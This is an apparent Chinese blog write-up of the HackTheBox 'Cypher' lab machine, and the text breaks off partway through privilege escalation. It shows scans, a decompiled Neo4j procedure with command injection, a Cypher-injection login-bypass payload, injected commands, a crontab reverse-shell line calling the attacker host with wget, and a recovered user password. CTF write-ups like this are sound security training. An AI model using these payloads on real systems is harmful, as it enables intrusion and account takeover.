{"id":235,"date":"2025-03-02T20:07:32","date_gmt":"2025-03-02T12:07:32","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=235"},"modified":"2026-01-29T16:16:16","modified_gmt":"2026-01-29T08:16:16","slug":"235","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2025\/03\/02\/235\/","title":{"rendered":"HTB\u9776\u673a Cypher \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code><strong>10.10.11.57<\/strong><\/code><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">PING 10.10.11.57 (10.10.11.57) 56(84) bytes of data.\n64 bytes from 10.10.11.57: icmp_seq=1 ttl=63 time=365 ms\n64 bytes from 10.10.11.57: icmp_seq=2 ttl=63 time=361 ms\n64 bytes from 10.10.11.57: icmp_seq=3 ttl=63 time=364 ms\n64 bytes from 10.10.11.57: icmp_seq=4 ttl=63 time=362 ms\n\n--- 10.10.11.57 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3005ms\nrtt min\/avg\/max\/mdev = 361.324\/362.887\/364.964\/1.456 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u7684\u7f51\u7edc\u8fde\u63a5\u72b6\u6001\u6b63\u5e38\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Sun Mar  2 08:31:55 2025 as: \/usr\/lib\/nmap\/nmap -sF -p- --min-rate 3000 -oN .\/fin_result.txt 10.10.11.57\nNmap scan report for 10.10.11.57\nHost is up (0.36s latency).\nAll 65535 scanned ports on 10.10.11.57 are in ignored states.\nNot shown: 65535 open|filtered tcp ports (no-response)\n\n# Nmap done at Sun Mar  2 08:32:41 2025 -- 1 IP address (1 host up) scanned in 46.39 seconds<\/code><\/pre>\n<p>\u65e0\u6cd5\u63a2\u6d4b\u9776\u673a\u5f00\u653e\u7aef\u53e3\u72b6\u6001\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code><strong>TCP<\/strong><\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Sun Mar  2 08:39:32 2025 as: \/usr\/lib\/nmap\/nmap -sT -sV -A -p- --min-rate 3000 -oN .\/tcp_report.txt 10.10.11.57\nWarning: 10.10.11.57 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.11.57\nHost is up (0.36s latency).\nNot shown: 65491 closed tcp ports (conn-refused), 42 filtered tcp ports (no-response)\nPORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)\n|_  256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)\n80\/tcp open  http    nginx 1.24.0 (Ubuntu)\n|_http-title: Did not follow redirect to http:\/\/cypher.htb\/\n|_http-server-header: nginx\/1.24.0 (Ubuntu)\nDevice type: general purpose\nRunning: Linux 5.X\nOS CPE: cpe:\/o:linux:linux_kernel:5\nOS details: Linux 5.0 - 5.14\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using proto 1\/icmp)\nHOP RTT       ADDRESS\n1   362.78 ms 10.10.14.1\n2   362.97 ms 10.10.11.57\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sun Mar  2 08:40:31 2025 -- 1 IP address (1 host up) scanned in 59.36 seconds<\/code><\/pre>\n<p><strong><code>UDP<\/code>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Sun Mar  2 08:41:18 2025 as: \/usr\/lib\/nmap\/nmap -sU -p- --min-rate 3000 -oN .\/udp_ports.txt 10.10.11.57\nWarning: 10.10.11.57 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.11.57\nHost is up (0.44s latency).\nAll 65535 scanned ports on 10.10.11.57 are in ignored states.\nNot shown: 65288 open|filtered udp ports (no-response), 247 closed udp ports (port-unreach)\n\n# Nmap done at Sun Mar  2 08:45:23 2025 -- 1 IP address (1 host up) scanned in 245.33 seconds<\/code><\/pre>\n<p><code><strong>UDP<\/strong><\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3a<code>Ubuntu Linux<\/code>\uff0c\u6839\u636e<code>HackTheBox<\/code>\u9776\u673a\u63d0\u4ea4\u89c4\u5219\uff0c\u8ba4\u4e3a\u9776\u673a\u4e3b\u57df\u540d\u4e3a<code>cypher.htb<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n<p>\u7aef\u53e3<code>Banner<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/megumin\/Documents\/pentest_notes\/cypher]\n\u2514\u2500# nc -nv 10.10.11.57 22\n(UNKNOWN) [10.10.11.57] 22 (ssh) open\nSSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8<\/code><\/pre>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/cypher.htb\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1740901763152-05eb9f8a-8594-4359-b92d-32193b284a2b.png\" alt=\"\" \/><\/p>\n<p>\u67e5\u770b\u6e90\u4ee3\u7801\uff0c\u53d1\u73b0\u4e00\u6761\u5177\u6709\u53ef\u7591\u4fe1\u606f\u7684\u6ce8\u91ca\uff1a<\/p>\n<pre><code class=\"language-html\">&lt;!-- \"what is the acceptable amount of suffering, is the question.\" -TheFunky1 --&gt;<\/code><\/pre>\n<p>\u9664\u6b64\u4e4b\u5916\uff0c\u672a\u53d1\u73b0\u4efb\u4f55\u654f\u611f\u4fe1\u606f\u3002<\/p>\n<p>\u5c1d\u8bd5\u70b9\u51fb\u4e3b\u9875\u4e0a\u65b9<code>Login<\/code>\u94fe\u63a5\uff0c\u8f6c\u81f3\u767b\u5f55\u9875\u9762\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1740901898226-471ecf9c-c970-469d-bbfa-09df4be6fe0b.png\" alt=\"\" \/><\/p>\n<p>\u67e5\u770b\u5176\u7f51\u9875\u6e90\u4ee3\u7801\uff0c\u53d1\u73b0\u5176\u8d1f\u8d23\u53d1\u9001\u5e76\u5904\u7406\u767b\u5f55\u8ba4\u8bc1\u7ed3\u679c\u7684<code>JavaScript<\/code>\u4ee3\u7801\u4e2d\u542b\u6709\u4e00\u6bb5\u6ce8\u91ca\uff0c\u79f0\u201c\u4e0d\u8981\u628a\u7528\u6237\u8d26\u53f7\u5b58\u50a8\u5728<code>Neo4j<\/code>\u6570\u636e\u5e93\u5185\u201d\uff1a<\/p>\n<pre><code class=\"language-javascript\">\/\/ TODO: don't store user accounts in neo4j\n    function doLogin(e) {\n      e.preventDefault();\n      var username = $(\"#usernamefield\").val();\n      var password = $(\"#passwordfield\").val();\n      $.ajax({\n        url: '\/api\/auth',\n        type: 'POST',\n        contentType: 'application\/json',\n        data: JSON.stringify({ username: username, password: password }),\n        success: function (r) {\n          window.location.replace(\"\/demo\");\n        },\n        error: function (r) {\n          if (r.status == 401) {\n            notify(\"Access denied\");\n          } else {\n            notify(r.responseText);\n          }\n        }\n      });\n    }\n\n    $(\"form\").keypress(function (e) {\n      if (e.keyCode == 13) {\n        doLogin(e);\n      }\n    })\n\n    $(\"#loginsubmit\").click(doLogin);<\/code><\/pre>\n<p>\u6000\u7591\u8be5<code>Web<\/code>\u5e94\u7528\u4f7f\u7528\u4e86<code>Neo4j<\/code>\u6570\u636e\u5e93\u3002<\/p>\n<p>\u5c1d\u8bd5\u626b\u63cf\u76ee\u5f55\uff1a<\/p>\n<pre><code class=\"language-plain\"># Dirsearch started Sun Mar  2 15:58:22 2025 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/cypher.htb -x 400,403,404 -t 60 -e py,pyc,js,html,txt,zip,tar.gz,json,xml,conf\n\n200     5KB  http:\/\/cypher.htb\/about\n200     5KB  http:\/\/cypher.htb\/about.html\n307     0B   http:\/\/cypher.htb\/api    -&gt; REDIRECTS TO: \/api\/docs\n307     0B   http:\/\/cypher.htb\/api\/    -&gt; REDIRECTS TO: http:\/\/cypher.htb\/api\/api\n307     0B   http:\/\/cypher.htb\/demo    -&gt; REDIRECTS TO: \/login\n307     0B   http:\/\/cypher.htb\/demo\/    -&gt; REDIRECTS TO: http:\/\/cypher.htb\/api\/demo\n200     4KB  http:\/\/cypher.htb\/login\n200     4KB  http:\/\/cypher.htb\/login.html\n301   178B   http:\/\/cypher.htb\/testing    -&gt; REDIRECTS TO: http:\/\/cypher.htb\/testing\/<\/code><\/pre>\n<p>\u53d1\u73b0\u964c\u751f\u76ee\u5f55<code>\/testing<\/code>\uff0c\u5c1d\u8bd5\u8bbf\u95ee\uff0c\u53d1\u73b0\u76ee\u5f55\u5185\u53ea\u6709\u4e00\u4e2a<code>jar<\/code>\u5305\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1740902662309-dd137307-acf4-4abd-af0f-53df14c4b7c1.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u4e0b\u8f7d\uff0c\u4f7f\u7528\u5728\u7ebf<code>Java<\/code>\u5305\u53cd\u7f16\u8bd1\u5e73\u53f0\u8fdb\u884c\u53cd\u7f16\u8bd1\u64cd\u4f5c\u3002\u4e0a\u4f20\u540e\u67e5\u770b<code>com\/cypher\/neo4j\/apoc\/CustomFunctions.class<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1740904091666-6b576e81-ccc5-4a7d-be6c-cc6244bd0a74.png\" alt=\"\" \/><\/p>\n<pre><code class=\"language-java\">package com.cypher.neo4j.apoc;\n\nimport java.io.BufferedReader;\nimport java.io.InputStreamReader;\nimport java.util.Arrays;\nimport java.util.concurrent.TimeUnit;\nimport java.util.stream.Stream;\nimport org.neo4j.procedure.Description;\nimport org.neo4j.procedure.Mode;\nimport org.neo4j.procedure.Name;\nimport org.neo4j.procedure.Procedure;\n\/* loaded from: CustomFunctions.class *\/\npublic class CustomFunctions {\n    @Procedure(name = \"custom.getUrlStatusCode\", mode = Mode.READ)\n    @Description(\"Returns the HTTP status code for the given URL as a string\")\n    public Stream&lt;StringOutput&gt; getUrlStatusCode(@Name(\"url\") String url) throws Exception {\n        if (!url.toLowerCase().startsWith(\"http:\/\/\") &amp;&amp; !url.toLowerCase().startsWith(\"https:\/\/\")) {\n            url = \"https:\/\/\" + url;\n        }\n        String[] command = {\"\/bin\/sh\", \"-c\", \"curl -s -o \/dev\/null --connect-timeout 1 -w %{http_code} \" + url};\n        System.out.println(\"Command: \" + Arrays.toString(command));\n        Process process = Runtime.getRuntime().exec(command);\n        BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));\n        BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));\n        StringBuilder errorOutput = new StringBuilder();\n        while (true) {\n            String line = errorReader.readLine();\n            if (line == null) {\n                break;\n            }\n            errorOutput.append(line).append(\"n\");\n        }\n        String statusCode = inputReader.readLine();\n        System.out.println(\"Status code: \" + statusCode);\n        boolean exited = process.waitFor(10L, TimeUnit.SECONDS);\n        if (!exited) {\n            process.destroyForcibly();\n            statusCode = \"0\";\n            System.err.println(\"Process timed out after 10 seconds\");\n        } else {\n            int exitCode = process.exitValue();\n            if (exitCode != 0) {\n                statusCode = \"0\";\n                System.err.println(\"Process exited with code \" + exitCode);\n            }\n        }\n        if (errorOutput.length() &gt; 0) {\n            System.err.println(\"Error output:n\" + errorOutput.toString());\n        }\n        return Stream.of(new StringOutput(statusCode));\n    }\n}<\/code><\/pre>\n<p>\u53d1\u73b0\u8be5<code>jar<\/code>\u5305\u5b9e\u9645\u4e0a\u4e3a<code>neo4j<\/code>\u6570\u636e\u5e93\u4e00\u4e2a\u540d\u4e3a<code>getUrlStatusCode<\/code>\u81ea\u5b9a\u4e49\u5b58\u50a8\u6269\u5c55\u7684\u7a0b\u5e8f\u5305\u3002\u7ecf\u8fc7\u5bf9\u8be5\u7a0b\u5e8f\u7684\u5206\u6790\uff0c\u53d1\u73b0\u7b2c<code>20<\/code>\u884c\u5b58\u5728\u547d\u4ee4\u6ce8\u5165\u6f0f\u6d1e\u3002\u7a0b\u5e8f\u4ece\u51fd\u6570\u8c03\u7528\u63a5\u6536\u4e86\u7f51\u5740\u53c2\u6570<code>url<\/code>\uff0c\u968f\u540e\u76f4\u63a5\u5c06\u672a\u7ecf\u5b89\u5168\u8fc7\u6ee4\u7684<code>url<\/code>\u53d8\u91cf\u62fc\u63a5\u5230\u4e86\u547d\u4ee4\u5b57\u7b26\u4e32<code>command<\/code>\u5185\uff0c\u63a5\u7740\u53c8\u5728\u7b2c<code>22<\/code>\u884c\u76f4\u63a5\u6267\u884c\u4e86<code>curl<\/code>\u547d\u4ee4\u3002<\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<h2>Neo4j NoSQL\u6ce8\u5165\u767b\u5f55\u7ed5\u8fc7<\/h2>\n<p>\u6253\u5f00\u767b\u5f55\u9875<code>\/login<\/code>\uff0c\u5728\u7528\u6237\u5bc6\u7801\u6846\u5185\u968f\u4fbf\u8f93\u5165\u4e00\u4e9b\u5185\u5bb9\uff0c\u968f\u540e\u542f\u52a8<code>BurpSuite<\/code>\u62e6\u622a\u8bf7\u6c42\u5305\uff0c\u70b9\u51fb<code>Sign in<\/code>\u6309\u94ae\u53d1\u9001\u767b\u5f55\u8bf7\u6c42\u540e\uff0c\u67e5\u770b\u8bf7\u6c42\u5386\u53f2\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1740904998450-0e7267bb-8e1f-4463-a7b1-78c828798499.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u5c06\u8bf7\u6c42\u5305\u53d1\u9001\u5230<code>Repeater<\/code>\u6a21\u5757\uff0c\u5e76\u5728<code>username<\/code>\u53c2\u6570\u5185\u5bb9\u6700\u540e\u6dfb\u52a0<code>'<\/code>\u53f7\uff0c\u5c06\u6d4b\u8bd5<code>NoSQL<\/code>\u6ce8\u5165\u7684\u6076\u610f\u8bf7\u6c42\u53d1\u9001\u81f3\u670d\u52a1\u5668\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1740905231893-8845c09b-16fa-4eee-87b6-3feade27a82c.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0\u767b\u5f55\u9875<code>\/login<\/code>\u7528\u6237\u540d\u53c2\u6570\u5b58\u5728<code>NoSQL<\/code>\u6ce8\u5165\u6f0f\u6d1e\uff01\u5176<code>NoSQL<\/code>\u67e5\u8be2\u8bed\u53e5\u4e3a\uff1a<\/p>\n<pre><code class=\"language-plsql\">MATCH (u:USER) -[:SECRET]-&gt; (h:SHA1) WHERE u.name = '{USERNAME}' return h.value as hash<\/code><\/pre>\n<p>\u53d1\u73b0\u540e\u7aef\u7a0b\u5e8f\u4f1a\u6839\u636e\u8f93\u5165\u7528\u6237\u540d\u67e5\u8be2\u5bc6\u7801\uff0c\u5982\u679c\u67e5\u51fa\u7528\u6237\u540d\uff0c\u6570\u636e\u5e93\u4f1a\u5c06\u5176\u5bc6\u7801\u4f7f\u7528<code>SHA-1<\/code>\u7b97\u6cd5\u8f6c\u4e3a\u54c8\u5e0c\u503c\u8fd4\u56de\u3002\u63a8\u6d4b\u540e\u7aef\u7a0b\u5e8f\u4e5f\u5c06\u8f93\u5165\u7684\u5bc6\u7801\u8f6c\u6362\u6210\u4e86<code>SHA-1<\/code>\u54c8\u5e0c\u503c\uff0c\u548c\u6570\u636e\u5e93\u8fd4\u56de\u7684\u6b63\u786e\u7ed3\u679c\u8fdb\u884c\u4e86\u6bd4\u5bf9\uff0c\u82e5\u76f8\u540c\u5219\u5224\u5b9a\u767b\u5f55\u6210\u529f\u3002<\/p>\n<p>\u7531\u4e8e<code>username<\/code>\u53c2\u6570\u5b58\u5728<code>NoSQL<\/code>\u6ce8\u5165\u6f0f\u6d1e\uff0c<code>SQL<\/code>\u8bed\u53e5\u53ef\u63a7\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7<code>return<\/code>\u8bed\u53e5\u63a7\u5236\u8fd4\u56de\u7684\u54c8\u5e0c\u503c\uff0c\u65e0\u8bba\u7528\u6237\u540d\u662f\u5426\u6b63\u786e\u3002\u8fd9\u6837\u4e00\u6765\uff0c\u53ea\u8981\u586b\u5199<code>password<\/code>\u53c2\u6570\uff0c\u4f7f\u5176\u660e\u6587\u5185\u5bb9\u7684<code>SHA-1<\/code>\u54c8\u5e0c\u503c\u548c\u6211\u4eec\u63a7\u5236<code>SQL<\/code>\u8bed\u53e5\u6240\u8fd4\u56de\u7684\u54c8\u5e0c\u503c\u76f8\u540c\uff0c\u5c31\u53ef\u4ee5\u8fdb\u884c\u767b\u5f55\u7ed5\u8fc7\u4e86\u3002<\/p>\n<p>\u76f4\u63a5\u6784\u9020<code>SQL<\/code>\u6ce8\u5165\u8bed\u53e5\u3002\u8fd9\u91cc\u6211\u4eec\u4f7f\u7528\u660e\u6587<code>misaka19008<\/code>\u7684<code>SHA-1<\/code>\u54c8\u5e0c\uff1a<code>a862a18b9ff7c4249888f423feda33093397cd3f<\/code><\/p>\n<pre><code class=\"language-json\">{\"username\":\"admin' or True return lTrim(' a862a18b9ff7c4249888f423feda33093397cd3f') as hash \/\/ \",\"password\":\"misaka19008\"}<\/code><\/pre>\n<p>\u6b64\u65f6\uff0c\u6570\u636e\u5e93\u5b9e\u9645\u6267\u884c\u7684\u8bed\u53e5\u4e3a\uff1a<\/p>\n<pre><code class=\"language-sql\">MATCH (u:USER) -[:SECRET]-&gt; (h:SHA1) WHERE u.name = 'admin' or True return lTrim(' a862a18b9ff7c4249888f423feda33093397cd3f') as hash \/\/ ' return h.value as hash<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1740906840572-03adc5af-ab6b-4230-a95b-63e28d41c16a.png\" alt=\"\" \/><\/p>\n<p>\u767b\u5f55\u7ed5\u8fc7\u6d4b\u8bd5\u6210\u529f\uff01<\/p>\n<p>\u518d\u6b21\u6253\u5f00<code>BurpSuite<\/code>\u62e6\u622a\uff0c\u968f\u540e\u5728<code>\/login<\/code>\u9875\u9762\u91cd\u65b0\u53d1\u9001\u767b\u5f55\u8bf7\u6c42\uff0c\u4fee\u6539<code>POST<\/code>\u6570\u636e\u540e\uff0c\u70b9\u51fb<code>Forward<\/code>\u6309\u94ae\u53d1\u9001\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1740907070474-61981a7d-2fa8-4037-985c-ab191dd562b7.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u8df3\u8f6c\u5230\u4e86<code>\/demo<\/code>\u7aef\u70b9\uff0c\u4f3c\u4e4e\u662f\u4e00\u4e2a\u7528\u4e8e\u6267\u884c<code>Neo4j<\/code>\u67e5\u8be2\u8bed\u53e5\u7684<code>Web<\/code>\u5e94\u7528\u3002<\/p>\n<h2>Neo4j\u81ea\u5b9a\u4e49\u5b58\u50a8\u8fc7\u7a0b RCE\u6f0f\u6d1e\u5229\u7528<\/h2>\n<p>\u5728\u670d\u52a1\u63a2\u6d4b\u8fc7\u7a0b\u4e2d\uff0c\u6211\u4eec\u6210\u529f\u53d1\u73b0\u9776\u673a<code>Neo4j<\/code>\u6570\u636e\u5e93\u7591\u4f3c\u5b89\u88c5\u4e86\u7528\u6237\u5b58\u50a8\u8fc7\u7a0b<code>getUrlStatusCode<\/code>\uff0c\u4e14\u8be5\u5b58\u50a8\u8fc7\u7a0b\u5b58\u5728<code>RCE<\/code>\u6f0f\u6d1e\uff0c\u73b0\u5728\u5c31\u5728<code>\/demo<\/code>\u7aef\u70b9\u5c1d\u8bd5\u8fdb\u884c\u8c03\u7528\u3002\u9996\u5148\u5c1d\u8bd5\u6267\u884c<code>id<\/code>\u547d\u4ee4\uff1a<\/p>\n<pre><code class=\"language-plsql\">call custom.getUrlStatusCode(\"127.0.0.1;id\")<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1740907548952-b3b618c6-0263-4a21-9afe-0d926d0852bb.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u6267\u884c<code>id<\/code>\u547d\u4ee4\uff01\u53d1\u73b0\u5f53\u524d\u7528\u6237\u4e3a<code>neo4j<\/code>\u3002<\/p>\n<p>\u63a5\u4e0b\u6765\u8fdb\u884c\u53cd\u5f39<code>Shell<\/code>\u3002\u7531\u4e8e\u5b58\u50a8\u8fc7\u7a0b\u9650\u5236\u4e00\u4e2a\u547d\u4ee4\u6267\u884c\u7ebf\u7a0b\u6700\u5927\u4e3a<code>10<\/code>\u79d2\uff0c\u8d85\u8fc7<code>10<\/code>\u79d2\u540e\u5f3a\u5236\u7ec8\u6b62\u7ebf\u7a0b\uff0c\u51b3\u5b9a\u4f7f\u7528<code>crontab<\/code>\u547d\u4ee4\uff0c\u6dfb\u52a0\u5b9a\u65f6\u4efb\u52a1\u8fdb\u884c\u53cd\u5f39<code>Shell<\/code>\u64cd\u4f5c\u3002\u9996\u5148\u7f16\u5199\u53cd\u5f39<code>Shell<\/code>\u7684\u8ba1\u5212\u4efb\u52a1\u914d\u7f6e\uff1a<\/p>\n<pre><code class=\"language-plain\">*\/1 * * * * \/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/10.10.14.2\/443 0&gt;&amp;1'<\/code><\/pre>\n<p>\u5c06\u5176\u4fdd\u5b58\u5230\u6587\u4ef6\u540e\uff0c\u5728\u653b\u51fb\u673a<code>80<\/code>\u7aef\u53e3\u6253\u5f00<code>SimpleHTTPServer<\/code>\uff0c\u968f\u540e\u6267\u884c\u5982\u4e0b\u67e5\u8be2\u8bed\u53e5\u4e0b\u8f7d\uff1a<\/p>\n<pre><code class=\"language-plsql\">call custom.getUrlStatusCode(\"127.0.0.1;wget http:\/\/10.10.14.2\/revshell_cron.txt -O \/tmp\/revshell_cron.txt\")<\/code><\/pre>\n<p>\u968f\u540e\uff0c\u4f7f\u7528<code>crontab<\/code>\u547d\u4ee4\u6dfb\u52a0\u6076\u610f\u8ba1\u5212\u4efb\u52a1\uff1a<\/p>\n<pre><code class=\"language-plsql\">call custom.getUrlStatusCode(\"127.0.0.1;cat \/tmp\/revshell_cron.txt | crontab\")<\/code><\/pre>\n<p>\u7b49\u5f85\u4e00\u4f1a\u513f\u540e\uff0c\u5373\u53ef\u6536\u5230\u53cd\u5f39<code>Shell<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1740908322711-4750e1c6-9230-48b2-9598-1d8dba686f33.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>\u53d1\u73b0graphasm\u7528\u6237\u5bc6\u7801<\/h2>\n<p>\u767b\u5f55\u7cfb\u7edf\u540e\uff0c\u8fdb\u884c\u76ee\u5f55\u4fe1\u606f\u6536\u96c6\u3002\u5728<code>\/home\/graphasm\/bbot_preset.yml<\/code>\u6587\u4ef6\u5185\u53d1\u73b0\u7528\u6237\u51ed\u636e\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1740913422368-c7a8a976-dc45-4296-80dd-557faafd4cd4.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u901a\u8fc7\u8be5\u51ed\u636e\u6267\u884c<code>sudo -l<\/code>\u547d\u4ee4\uff0c\u5931\u8d25\u3002<\/p>\n<p>\u5c1d\u8bd5\u4f7f\u7528\u5982\u4e0b\u51ed\u636e\u767b\u5f55<code>SSH<\/code>\uff1a<\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>graphasm<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>cU4btyib.20xtCMCXkBmerhK<\/code><\/li>\n<\/ul>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1740913567574-176b8f37-10d2-4f33-bca9-626e1b71dc35.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\uff01<\/p>\n<h2>Sudo bbot\u6076\u610f\u626b\u63cf\u6a21\u5757\u63d0\u6743<\/h2>\n<p>\u767b\u5f55<code>graphasm<\/code>\u7528\u6237\u540e\uff0c\u4f7f\u7528<code>sudo -l<\/code>\u547d\u4ee4\u67e5\u770b\u5f53\u524d\u7528\u6237<code>sudo<\/code>\u6743\u9650\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1740914597070-9ccdc655-cdb7-4a9e-bc8c-93a574f74e00.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0\u5f53\u524d\u7528\u6237\u53ef\u4ee5<code>root<\/code>\u8eab\u4efd\u514d\u5bc6\u8fd0\u884c<code>\/usr\/local\/bin\/bbot<\/code>\u7a0b\u5e8f\u3002<\/p>\n<p>\u5c1d\u8bd5\u8054\u7f51\u641c\u7d22\uff0c\u53d1\u73b0<code>bbot<\/code>\u662f\u4e00\u4e2a\u57fa\u4e8e<code>Python<\/code>\u8bed\u8a00\u5b9e\u73b0\u7684\u81ea\u52a8\u5316\u5f00\u6e90\u4fe1\u606f\u6536\u96c6\u5de5\u5177\uff0c\u4e3b\u8981\u7528\u4e8e\u6e17\u900f\u6d4b\u8bd5\u524d\u671f\u7684\u4fe1\u606f\u6536\u96c6\u8fc7\u7a0b\u3002\u8be5\u5de5\u5177\u5185\u7f6e\u4e86\u6570\u5341\u4e2a\u81ea\u52a8\u5316\u4fe1\u606f\u6536\u96c6\u6a21\u5757\uff0c\u540c\u65f6\u4e5f\u652f\u6301\u7528\u6237\u5bfc\u5165\u81ea\u5b9a\u4e49\u6a21\u5757\u548c<code>YML<\/code>\u914d\u7f6e\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1740914944423-f12901f9-3ddd-4322-b33b-915b011284fd.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u6267\u884c<code>bbot --help<\/code>\u547d\u4ee4\u5217\u51fa\u5176\u5e2e\u52a9\u4fe1\u606f\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1740915172089-8b1ccfbe-5de3-4ede-afed-b0ead34cae6e.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u8be5\u5de5\u5177\u5b58\u5728<code>-p<\/code>\u53c2\u6570\uff0c\u7ecf\u67e5\u8be2\uff0c\u8be5\u53c2\u6570\u7684\u4f5c\u7528\u4e3a\u5bfc\u5165\u7528\u6237\u81ea\u5b9a\u4e49\u7684\u914d\u7f6e\u6587\u4ef6\uff1a<a href=\"https:\/\/www.blacklanternsecurity.com\/bbot\/Stable\/scanning\/presets\/\" target=\"_blank\"  rel=\"nofollow\" >Overview - BBOT Docs<\/a><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1740915409090-f370d092-57fb-49f5-9b8f-05ed1a50685d.png\" alt=\"\" \/><\/p>\n<p>\u7ee7\u7eed\u7ffb\u770b\u8bf4\u660e\u6587\u6863\uff0c\u5728<code>Developer Manual<\/code>=&gt;<code>How to Write a BBOT Module<\/code>=&gt;<code>Create the Python file<\/code>\u5c0f\u8282\u4e2d\u53d1\u73b0\u4e86<code>BBOT<\/code>\u81ea\u5b9a\u4e49\u6a21\u5757\u7684\u57fa\u672c\u6846\u67b6\uff1a<a 